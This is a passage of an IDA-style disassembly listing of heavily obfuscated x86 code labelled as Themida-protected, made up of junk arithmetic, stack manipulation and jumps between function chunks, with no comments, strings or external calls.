sub edx, 2AFB7EB8h
push ebx
mov ebx, esp
add ebx, 4
sub ebx, 4
xchg ebx, [esp]
pop esp
mov [esp], ecx
sub esp, 4
mov [esp], edi
jmp loc_569317
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_562462
loc_55DED1: ; CODE XREF: sub_562462+357Bj
pop ebp
add ebx, eax
pop eax
xchg ebx, [esp-4+arg_0]
mov esp, [esp-4+arg_0]
xor byte ptr [esp-4+arg_0], al
pushf
jmp loc_5699E6
; END OF FUNCTION CHUNK FOR sub_562462
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_55DEE4: ; CODE XREF: sub_56755A-554Cj
pop esp
push ebx
xor [esp+16h+var_18+2], ebp
xor ebp, [esp+16h+var_18+2]
jmp loc_5692AA
; ---------------------------------------------------------------------------
loc_55DEF1: ; CODE XREF: sub_56755A-3F9Aj
pop ecx
add esp, 4
push esi
mov esi, 4
add ebx, esi
mov esi, [esp+12h+var_14+2]
add esp, 4
xor ebx, [esp+0Eh+var_10+2]
jmp loc_5658DE
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56970A
loc_55DF0B: ; CODE XREF: sub_56970A-9F31j
pop esi
add esi, 1E5DEEDh
mov ebp, esi
pop esi
jmp loc_55C86A
; END OF FUNCTION CHUNK FOR sub_56970A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_55DF1A: ; CODE XREF: sub_56755A+1B9Aj
mov [esp+0Eh+var_10+2], ecx
jmp loc_56A5A2
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_55DF22: ; CODE XREF: Themida_:00569048j
mov bl, ch
mov ah, bl
pop ebx
jmp loc_560455
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_55DF2C: ; CODE XREF: sub_56755A+3A0j
sub edi, 1
xor edi, 68F04AC6h
xor edi, 52D71797h
sub edx, 0FC72D3Bh
sub edx, 4EC143Dh
sub edx, edi
add edx, 4EC143Dh
jmp loc_55C726
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56D5AE
loc_55DF54: ; CODE XREF: sub_56D5AE-A6F8j
add esp, 4
; END OF FUNCTION CHUNK FOR sub_56D5AE
; =============== S U B R O U T I N E =======================================
sub_55DF57 proc near ; CODE XREF: sub_56755A-B3A4j
push ebx
jmp sub_56558C
sub_55DF57 endp
; ---------------------------------------------------------------------------
loc_55DF5D: ; CODE XREF: Themida_:00565478j
add edx, edi
sub edx, 58F00797h
add edx, 2AFB7EB8h
push ebx
mov ebx, 23E75EFEh
add edx, ebx
push dword ptr [esp]
pop ebx
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp]
pop esp
mov [edx], al
jmp loc_57021D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56E1C0
loc_55DF91: ; CODE XREF: sub_56E1C0+5j
pop ebx
xchg bh, byte ptr [esp-4+arg_0]
mov ebx, [esp-4+arg_0]
jmp loc_56CC11
; END OF FUNCTION CHUNK FOR sub_56E1C0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_55DF9D: ; CODE XREF: sub_56755A-B2DCj
push 12C3h
mov [esp+4+var_4], ecx
push 2F082FEDh
pop ecx
jmp loc_56B841
; ---------------------------------------------------------------------------
loc_55DFB0: ; CODE XREF: sub_56755A-5F5Ej
add ecx, edx
mov edx, [esp+4+var_4]
add esp, 4
xor ecx, 5A6C7328h
neg ecx
or ecx, 12CE7929h
xor ecx, 0F7CFFD3Bh
add eax, ecx
pop ecx
xchg eax, [esp-4+arg_0]
pop esp
add eax, 0B8E18F26h
add ecx, eax
pop eax
add ecx, 2
push eax
mov eax, esp
push esi
mov esi, 32BB0556h
inc esi
shr esi, 5
add esi, 0FE6A27DAh
add eax, esi
pop esi
push ecx
push ebp
jmp loc_561956
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_564E24
loc_55DFFE: ; CODE XREF: sub_564E24+3j
mov [esp+4+var_4], eax
jmp loc_569936
; END OF FUNCTION CHUNK FOR sub_564E24
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55FE13
loc_55E006: ; CODE XREF: sub_55FE13-1421j
xor cl, 6Ch
add dl, 0AEh
add dl, cl
sub dl, 0AEh
pop ecx
shr dl, 2
add dl, 48h
xor al, dl
pop edx
sub bl, 99h
add bl, 45h
add bl, al
push cx
jmp loc_55F85A
; END OF FUNCTION CHUNK FOR sub_55FE13
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_55E02A: ; CODE XREF: sub_56755A-13C9j
xchg esi, [esp+0]
pop esp
mov [esp-4+arg_0], esi
mov esi, esp
push edi
mov edi, 4
add esi, edi
jmp loc_56D81F
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_55E040: ; CODE XREF: Themida_:0055FDD7j
push 571Ah
mov [esp], edx
mov dl, 8Ah
mov bl, 0D3h
add bl, 4Bh
add bl, dl
sub bl, 4Bh
pop edx
push edx
mov dh, bl
mov ch, dh
mov edx, [esp]
add esp, 4
pop ebx
push ecx
mov ch, 36h
add ch, 6Ah
inc ch
xor ch, 0F6h
add ch, 84h
xor ch, 0Eh
sub al, ch
mov ecx, [esp]
add esp, 4
jmp loc_5681C7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_55E07F: ; CODE XREF: sub_56755A+3E23j
add dh, 69h
add dh, 5Ch
shr dh, 2
push ebx
jmp loc_55BB92
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_55E08E: ; CODE XREF: Themida_:00569F70j
mov esp, [esp]
ror byte ptr [esp], cl
pushf
jmp loc_55B555
; ---------------------------------------------------------------------------
loc_55E09A: ; CODE XREF: Themida_:0055EDE8j
push dword ptr [esp+4]
jmp loc_562A22
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55CD7B
loc_55E0A3: ; CODE XREF: sub_55CD7B+5C54j
pop dword ptr [esp+0]
mov esp, [esp-4+arg_0]
push 6E17h
mov [esp+0], edx
mov edx, 25B51330h
jmp loc_563A20
; END OF FUNCTION CHUNK FOR sub_55CD7B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_560D65
loc_55E0BB: ; CODE XREF: sub_560D65+E8DDj
sub eax, 44630BD8h
pop ebx
sub esp, 4
mov [esp+4+var_4], ebx
jmp loc_56BA47
; END OF FUNCTION CHUNK FOR sub_560D65
; ---------------------------------------------------------------------------
loc_55E0CC: ; CODE XREF: Themida_:0056D42Cj
pop dword ptr [esp]
mov esp, [esp]
mov [esp], ax
jmp loc_564452
; ---------------------------------------------------------------------------
loc_55E0DB: ; CODE XREF: Themida_:0056C57Cj
push edi
mov edi, 4
add eax, edi
pop edi
jmp loc_56B71F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_55E0E9: ; CODE XREF: sub_56755A-4AE0j
mov ebp, 14EE1E24h
or ebp, 687B7B4Bh
inc ebp
shl ebp, 4
add ebp, 764052E3h
add ecx, ebp
pop ebp
jmp loc_55F725
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_55E106: ; CODE XREF: Themida_:0056B091j
mov eax, 427F22A3h
jmp loc_562393
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56E89A
loc_55E110: ; CODE XREF: sub_56E89A+7BFj
pop edx
shl edx, 4
xor edx, 59983B3Ah
sub edx, 0B4DE237Ah
mov eax, edx
pop edx
add eax, edi
push ebx
push 0
jmp loc_55B980
; END OF FUNCTION CHUNK FOR sub_56E89A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_55E130: ; CODE XREF: sub_56755A+265Fj
sub ecx, 7817375Ch
push esi
jmp loc_56FA57
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_55E13C: ; CODE XREF: Themida_:0055E746j
xor edi, [esp]
jmp loc_5693D1
; ---------------------------------------------------------------------------
loc_55E144: ; CODE XREF: Themida_:00568830j
mov edx, 16E20D48h
push edx
jmp loc_5706C7
; ---------------------------------------------------------------------------
loc_55E14F: ; CODE XREF: Themida_:0055EB4Ej
sub edx, 35497B71h
jmp loc_567536
; ---------------------------------------------------------------------------
loc_55E15A: ; CODE XREF: Themida_:0056E9D8j
mov [esp], esi
mov esi, 23C23706h
not esi
sub esi, 51B557D0h
and esi, 22E40242h
push edx
mov edx, 2800004h
xor esi, edx
pop edx
jmp loc_57044E
; ---------------------------------------------------------------------------
loc_55E17E: ; CODE XREF: Themida_:0056F36Dj
mov edx, [esp]
add esp, 4
jmp loc_560F96
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_55E189: ; CODE XREF: sub_56755A-1CC3j
mov ebx, ecx
pop ecx
xor esi, ebx
jmp loc_560581
; ---------------------------------------------------------------------------
loc_55E193: ; CODE XREF: sub_56755A+3B2Ej
add edx, esi
pop esi
xor edx, [esp-4+arg_0]
xor [esp-4+arg_0], edx
jmp loc_55B93D
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_55E1A1: ; CODE XREF: Themida_:0056B627j
pop ebp
sub ecx, edx
pop edx
add eax, ecx
jmp loc_56CA34
; ---------------------------------------------------------------------------
loc_55E1AC: ; CODE XREF: Themida_:0056CE64j
push ecx
push edx
mov edx, 78E5061h
or edx, 1FCD0D19h
not edx
shr edx, 2
sub edx, 8B56D69Dh
mov ecx, edx
pop edx
add eax, ecx
pop ecx
add ebp, eax
mov eax, [esp]
add esp, 4
push edi
jmp loc_5698EA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56E75E
loc_55E1D8: ; CODE XREF: sub_56E75E-DE40j
xor esi, 70F36536h
jmp loc_56985C
; END OF FUNCTION CHUNK FOR sub_56E75E
; ---------------------------------------------------------------------------
loc_55E1E3: ; CODE XREF: Themida_:005601D1j
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
jmp loc_56BF0D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_55E1F4: ; CODE XREF: sub_56755A-8759j
sub esi, 4
push esi
push [esp+arg_0]
jmp loc_560010
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_55E201: ; CODE XREF: Themida_:00564B13j
jmp loc_55B555
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_55E206: ; CODE XREF: sub_56755A+169Cj
mov ebp, 13FA2F20h
add eax, ebp
mov ebp, [esp+4+var_4]
jmp loc_56E202
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_55E215: ; CODE XREF: Themida_:005624C7j
push ebp
mov ebp, 50514D5Eh
push edx
jmp loc_55B9CA
; ---------------------------------------------------------------------------
loc_55E221: ; CODE XREF: Themida_:0056C7BAj
pop esp
add esi, eax
jmp loc_56E056
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_55E229: ; CODE XREF: sub_56755A+11BDj
add dh, 78h
xor bl, dh
jmp loc_568662
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_55E233: ; CODE XREF: Themida_:00566062j
add ecx, edi
jmp loc_5614F2
; ---------------------------------------------------------------------------
loc_55E23A: ; CODE XREF: Themida_:0056FF05j
mov eax, [esp]
jmp loc_562234
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_560CAA
loc_55E242: ; CODE XREF: sub_560CAA+AB63j
push ecx
mov edx, [esp+0Ch+var_C]
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
jmp loc_565F97
; END OF FUNCTION CHUNK FOR sub_560CAA
; =============== S U B R O U T I N E =======================================
sub_55E257 proc near ; CODE XREF: sub_56542E-9BA3j
var_4 = dword ptr -4
; FUNCTION CHUNK AT 0055D033 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005616DB SIZE 0000001C BYTES
sub esp, 4
mov [esp+4+var_4], ebp
mov ebp, 53242160h
jmp loc_5616DB
sub_55E257 endp
; ---------------------------------------------------------------------------
loc_55E267: ; CODE XREF: Themida_:0057031Fj
sub eax, 7A320D5h
jmp loc_56734C
; ---------------------------------------------------------------------------
loc_55E271: ; CODE XREF: Themida_:005603D4j
pop esp
mov [esp], edx
jmp loc_55E500
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_55E27A: ; CODE XREF: sub_56755A+2E1Bj
mov ecx, 0
sub ecx, 254000B1h
add ecx, ebx
add ecx, 254000B1h
mov [ecx], al
push [esp+4+var_4]
pop ecx
jmp loc_5659BE
; ---------------------------------------------------------------------------
loc_55E298: ; CODE XREF: sub_56755A-862Ej
sub ebp, 280B888Ah
mov ecx, ebp
pop ebp
jmp loc_561470
; ---------------------------------------------------------------------------
loc_55E2A6: ; CODE XREF: sub_56755A-9A96j
add eax, esi
pop esi
jmp $+5
add ebx, 34C86D8Dh
push 6986h
jmp loc_56773B
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
mov cx, [esp]
push ebp
push esp
jmp loc_568133
; ---------------------------------------------------------------------------
loc_55E2C9: ; CODE XREF: Themida_:0055F0F1j
add ebp, eax
sub ebp, 15E63BF5h
push ecx
mov ecx, 0CC563D5h
dec ecx
push 635h
jmp loc_55EFB4
; ---------------------------------------------------------------------------
loc_55E2E2: ; CODE XREF: Themida_:00561A16j
jmp loc_55B555
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56B774
loc_55E2E7: ; CODE XREF: sub_56B774+9j
mov ebx, 2AB53861h
push edx
mov edx, 37E862E0h
neg edx
push ecx
mov ecx, 0DE8CCEE1h
xor edx, ecx
mov ecx, [esp+10h+var_10]
add esp, 4
xor ebx, edx
mov edx, [esp+0Ch+var_C]
add esp, 4
push eax
push ebx
mov ebx, 15424A67h
jmp loc_568A27
; END OF FUNCTION CHUNK FOR sub_56B774
; ---------------------------------------------------------------------------
loc_55E31C: ; CODE XREF: Themida_:0056E9E0j
push dword ptr [esp]
pop ecx
add esp, 4
push 4FD1h
mov [esp], esi
push edi
mov edi, esp
push eax
jmp loc_56BCCC
; ---------------------------------------------------------------------------
loc_55E337: ; CODE XREF: Themida_:005682F6j
push eax
mov eax, 34CA4C17h
and eax, 0A8E7500h
neg eax
jmp loc_5677A9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56E89A
loc_55E349: ; CODE XREF: sub_56E89A-B96Ej
add ecx, 0EEE70C2Bh
push ecx
mov ecx, 551160C0h
xor ecx, 578F3902h
shr ecx, 7
xor ecx, 64179FEh
jmp loc_55D20A
; END OF FUNCTION CHUNK FOR sub_56E89A
; ---------------------------------------------------------------------------
loc_55E369: ; CODE XREF: Themida_:0056E715j
xor esi, 4BC67CDCh
shr esi, 6
xor esi, 252FF5Dh
add ebp, esi
pop esi
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], ecx
jmp loc_563BB4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_55E38A: ; CODE XREF: sub_56755A+60FCj
xchg edi, [esp+0Ah+var_C+2]
push edi
push ecx
mov edi, [esp+12h+var_14+2]
jmp loc_563AFF
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_55E397: ; CODE XREF: Themida_:00566964j
push ecx
push 59B17D19h
jmp loc_563851
; ---------------------------------------------------------------------------
loc_55E3A2: ; CODE XREF: Themida_:0056C1A7j
pop edx
sub esp, 4
mov [esp], ecx
jmp loc_56B782
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5702DD
loc_55E3B1: ; CODE XREF: sub_5702DD-10496j
pop ebx
jmp loc_5640D2
; END OF FUNCTION CHUNK FOR sub_5702DD
; ---------------------------------------------------------------------------
loc_55E3B7: ; CODE XREF: Themida_:005648A9j
push dword ptr [esp]
pop ecx
add esp, 4
mov ah, 0AAh
xor ah, bh
jmp loc_56108B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_55E3C7: ; CODE XREF: sub_56755A+8A09j
add ebp, edi
pop edi
pop edi
xor ebp, edx
pop edx
add ebp, 31FD1642h
add ebp, 7B238A87h
add esi, ebp
mov ebp, [esp+6+var_8+2]
add esp, 4
push eax
mov eax, 4
add esi, eax
pop eax
xchg esi, [esp+2+var_4+2]
jmp loc_568D43
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56CB1B
loc_55E3F6: ; CODE XREF: sub_56CB1B-B517j
add edi, 31A337DFh
jmp loc_56D55B
; END OF FUNCTION CHUNK FOR sub_56CB1B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56AE72
loc_55E401: ; CODE XREF: sub_56AE72-4570j
push esi
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp+4+var_4]
pop esp
push ecx
mov ecx, 3226A8Ah
push eax
jmp loc_56FE06
; END OF FUNCTION CHUNK FOR sub_56AE72
; ---------------------------------------------------------------------------
loc_55E420: ; CODE XREF: Themida_:00565676j
mov eax, 1800A96h
sub eax, 2381B2Eh
shr eax, 4
not eax
sub eax, 0F00B8105h
add ecx, 5B1912C8h
add ecx, eax
jmp loc_56756A
; ---------------------------------------------------------------------------
loc_55E441: ; CODE XREF: Themida_:00566675j
or ebp, 7D712383h
xchg ebx, ebp
jmp loc_56384A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_55E44E: ; CODE XREF: sub_56755A-9D26j
push edx
sub esp, 4
mov [esp+16h+var_18+2], esp
push eax
mov eax, 4
jmp loc_568CE4
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56885A
loc_55E460: ; CODE XREF: sub_56885A-1584j
xor edi, [esp+0]
pop esp
and eax, edx
push [esp-4+arg_0]
mov edx, [esp+0]
add esp, 4
add esp, 4
jmp loc_56AA54
; END OF FUNCTION CHUNK FOR sub_56885A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_55E477: ; CODE XREF: sub_56755A+9D4j
add eax, ebp
sub eax, 278C10D5h
pop ebp
sub eax, 37161B36h
jmp loc_56BE42
; ---------------------------------------------------------------------------
loc_55E489: ; CODE XREF: sub_56755A+6CDAj
xchg edi, [esp+16h+var_18+2]
jmp loc_56A5AF
; ---------------------------------------------------------------------------
loc_55E491: ; CODE XREF: sub_56755A+2EF6j
pop eax
sub esp, 4
mov [esp+16h+var_18+2], edx
jmp loc_55E650
; ---------------------------------------------------------------------------
loc_55E49D: ; CODE XREF: sub_56755A-3718j
sub ecx, 4D6CCB88h
xor edx, ecx
jmp loc_5679E6
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_563616
loc_55E4AA: ; CODE XREF: sub_563616-71A1j
xchg esi, [esp+0Ch+var_C]
pop esp
jmp loc_5692F9
; END OF FUNCTION CHUNK FOR sub_563616
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_55E4B3: ; CODE XREF: sub_56755A-7BFFj
push esi
mov esi, 14BFE5A3h
sub edx, esi
pop esi
mov ebp, edx
pop edx
xor ebp, 4DC71577h
jmp loc_5676DF
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56D600
loc_55E4CA: ; CODE XREF: sub_56D600-DB19j
mov bh, 97h
xor cl, bh
pop ebx
add al, 3Ch
add al, cl
sub al, 3Ch
mov ecx, [esp-0Ah+arg_4+2]
add esp, 4
push ebx
push edx
mov dh, 0BCh
jmp loc_563DC9
; END OF FUNCTION CHUNK FOR sub_56D600
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_563A41
loc_55E4E7: ; CODE XREF: sub_563A41+7BB8j
mov eax, [esp+4+var_4]
jmp loc_56A064
; END OF FUNCTION CHUNK FOR sub_563A41
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5643B1
loc_55E4EF: ; CODE XREF: sub_5643B1+9AE7j
mov esi, [esp+8+var_8]
push edx
jmp loc_56D926
; END OF FUNCTION CHUNK FOR sub_5643B1
; ---------------------------------------------------------------------------
loc_55E4F8: ; CODE XREF: Themida_:0055C04Fj
shr ecx, 7
jmp loc_55C776
; ---------------------------------------------------------------------------
loc_55E500: ; CODE XREF: Themida_:0055E275j
push 7BC8h
mov [esp], esp
add dword ptr [esp], 4
push dword ptr [esp]
push dword ptr [esp]
jmp loc_56E56C
; ---------------------------------------------------------------------------
loc_55E517: ; CODE XREF: Themida_:00561A57j
mov [esp], edx
mov edx, 4
push esi
push edx
mov edx, 145D4BD0h
jmp loc_56103E
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
popf
pop cx
rcr dword ptr [esp], cl
pushf
jmp loc_55B555
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55DA88
loc_55E53A: ; CODE XREF: sub_55DA88+12C92j
add esp, 4
add eax, ebx
add eax, 293C6F74h
pop ebx
jmp loc_55C1D6
; END OF FUNCTION CHUNK FOR sub_55DA88
; =============== S U B R O U T I N E =======================================
sub_55E54A proc near ; CODE XREF: sub_56755A+1BFEj
var_10 = dword ptr -10h
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 0055BAFC SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0055CFED SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0055D1D2 SIZE 0000002B BYTES
; FUNCTION CHUNK AT 00563344 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0056BDB1 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0056DF8D SIZE 0000000A BYTES
sub esp, 4
mov [esp+4+var_4], edx
mov dl, 14h
and cl, dl
jmp loc_55D1D2
sub_55E54A endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_55E559: ; CODE XREF: sub_56755A-8B6j
pop edx
push esi
mov esi, esp
add esi, 4
sub esi, 4
xor esi, [esp+12h+var_14+2]
xor [esp+12h+var_14+2], esi
xor esi, [esp+12h+var_14+2]
mov esp, [esp+12h+var_14+2]
mov [esp+12h+var_14+2], ebp
mov ebp, 1
and ecx, ebp
mov ebp, [esp+12h+var_14+2]
push 7D8h
mov [esp+16h+var_18+2], ebx
push esp
mov ebx, [esp+1Ah+var_1C+2]
add esp, 4
add ebx, 4
push edi
push ebp
jmp loc_55DADA
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5673DF
loc_55E59B: ; CODE XREF: sub_5673DF+85ABj
mov esi, 3E42A90h
sub ebx, esi
pop esi
pop ebp
xor ebx, [esp-8+arg_4]
xor [esp-8+arg_4], ebx
xor ebx, [esp-8+arg_4]
mov esp, [esp-8+arg_4]
imul ecx
jmp sub_56B774
; END OF FUNCTION CHUNK FOR sub_5673DF
; ---------------------------------------------------------------------------
loc_55E5B7: ; CODE XREF: Themida_:00561A1Dj
pop edx
jmp loc_56C441
; ---------------------------------------------------------------------------
loc_55E5BD: ; CODE XREF: Themida_:005664DDj
add eax, ecx
mov ecx, [esp]
push ecx
jmp loc_56DB93
; ---------------------------------------------------------------------------
loc_55E5C8: ; CODE XREF: Themida_:00568800j
pop esp
jmp loc_5690B1
; ---------------------------------------------------------------------------
loc_55E5CE: ; CODE XREF: Themida_:00566F0Cj
push ecx
dec byte ptr [esp]
mov ecx, [esp]
add esp, 4
not cl
push ebx
mov bl, 7
shl bl, 4
not bl
dec bl
shl bl, 7
push edx
mov dl, 6Eh
inc dl
shr dl, 1
sub dl, 0D7h
shr dl, 2
add dl, 5Dh
add bl, dl
jmp loc_55BBF7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_55E601: ; CODE XREF: sub_56755A-BFD0j
mov eax, ecx
mov ecx, [esp+4+var_4]
add esp, 4
not eax
inc eax
jmp loc_56A84E
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_564356
loc_55E614: ; CODE XREF: sub_564356+1j
push ecx
jmp loc_568575
; END OF FUNCTION CHUNK FOR sub_564356
; ---------------------------------------------------------------------------
loc_55E61A: ; CODE XREF: Themida_:00566F43j
mov esi, 4
add edi, 783D6F0Bh
add edi, esi
sub edi, 783D6F0Bh
mov esi, [esp]
sub esp, 4
mov [esp], ecx
push esp
pop ecx
jmp loc_55E6D6
; ---------------------------------------------------------------------------
loc_55E63D: ; CODE XREF: Themida_:0055D685j
add eax, edx
sub eax, 9F164EAh
pop edx
jmp loc_56606D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_566504
loc_55E64A: ; CODE XREF: sub_566504+8j
pop ebp
jmp loc_563984
; END OF FUNCTION CHUNK FOR sub_566504
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_55E650: ; CODE XREF: sub_56755A-90C2j
push [esp+16h+var_14+2]
mov edx, [esp+1Ah+var_1C+2]
push ecx
push esp
pop ecx
add ecx, 4
add ecx, 4
push ecx
push [esp+22h+var_20+2]
pop ecx
jmp loc_56625F
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_562C5D
loc_55E671: ; CODE XREF: sub_562C5D+9CF6j
inc bh
and bh, 63h
add bh, 80h
not bh
jmp loc_56647A
; END OF FUNCTION CHUNK FOR sub_562C5D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55FDDC
loc_55E680: ; CODE XREF: sub_55FDDC+1j
push esi
mov esi, 180F14C0h
mov ebx, 180F14C2h
xor ebx, esi
mov esi, [esp+8+var_8]
add esp, 4
add esi, ebx
pop ebx
xchg esi, [esp+0]
pop esp
btc word ptr [esp-4+arg_0], ax
pushf
jmp loc_55B555
; END OF FUNCTION CHUNK FOR sub_55FDDC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_55E6A5: ; CODE XREF: sub_56755A+811j
push 510Eh
mov [esp+26h+var_28+2], ebx
push esp
jmp loc_56DAC7
; ---------------------------------------------------------------------------
loc_55E6B3: ; CODE XREF: sub_56755A-1915j
sub edi, 4
push edi
push [esp+2Eh+var_2C+2]
push [esp+32h+var_34+2]
push [esp+36h+var_38+2]
pop edi
add esp, 4
add esp, 4
jmp loc_55FFB9
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_55E6D6: ; CODE XREF: Themida_:0055E638j
push ebx
mov ebx, 4
add ecx, 79834A74h
jmp loc_56FA92
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_55E6E7: ; CODE XREF: sub_56755A+480Dj
xor [esp+2Eh+var_30+2], edx
jmp loc_561D6D
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_55E6EF: ; CODE XREF: Themida_:0056F8EEj
pop dword ptr [esp]
mov esp, [esp]
jmp loc_566EDC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_566504
loc_55E6FA: ; CODE XREF: sub_566504+7A84j
mov eax, 56C322B5h
add edx, eax
pop eax
sub edx, edi
push 7454h
mov [esp+0], esi
mov esi, 41CD596Ch
add esi, 14F5C949h
sub edx, esi
jmp loc_55B8D1
; END OF FUNCTION CHUNK FOR sub_566504
; ---------------------------------------------------------------------------
loc_55E71E: ; CODE XREF: Themida_:0056F494j
xor edi, [esp]
xor [esp], edi
xor edi, [esp]
mov esp, [esp]
push dword ptr [esp]
pop eax
push 56EFh
jmp loc_560439
; ---------------------------------------------------------------------------
loc_55E738: ; CODE XREF: Themida_:00568A22j
mov ebx, 4
add edi, ebx
pop ebx
add edi, 2
jmp loc_55E13C
; ---------------------------------------------------------------------------
loc_55E74B: ; CODE XREF: Themida_:0056AC7Cj
sub ecx, 0B0BB7ADAh
or ebp, ecx
jmp loc_568A92
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_565269
loc_55E758: ; CODE XREF: sub_565269-EEAj
push esi
mov esi, 4
sub ecx, esi
pop esi
push ecx
jmp loc_55D15F
; END OF FUNCTION CHUNK FOR sub_565269
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_568D4B
loc_55E767: ; CODE XREF: sub_568D4B-B58Dj
mov bh, ah
pop eax
push 321Dh
mov [esp+0], edx
push ecx
mov cl, bh
push ebx
mov bl, cl
jmp loc_562555
; END OF FUNCTION CHUNK FOR sub_568D4B
; ---------------------------------------------------------------------------
loc_55E77D: ; CODE XREF: Themida_:0055F239j
mov eax, 114E793Fh
not eax
add eax, 114E7942h
jmp loc_56196E
; ---------------------------------------------------------------------------
loc_55E78E: ; CODE XREF: Themida_:00570313j
dec eax
jmp loc_569C6A
; ---------------------------------------------------------------------------
lodsd
push ecx
mov ecx, 2A784A82h
sub eax, 325F428Eh
sub eax, ecx
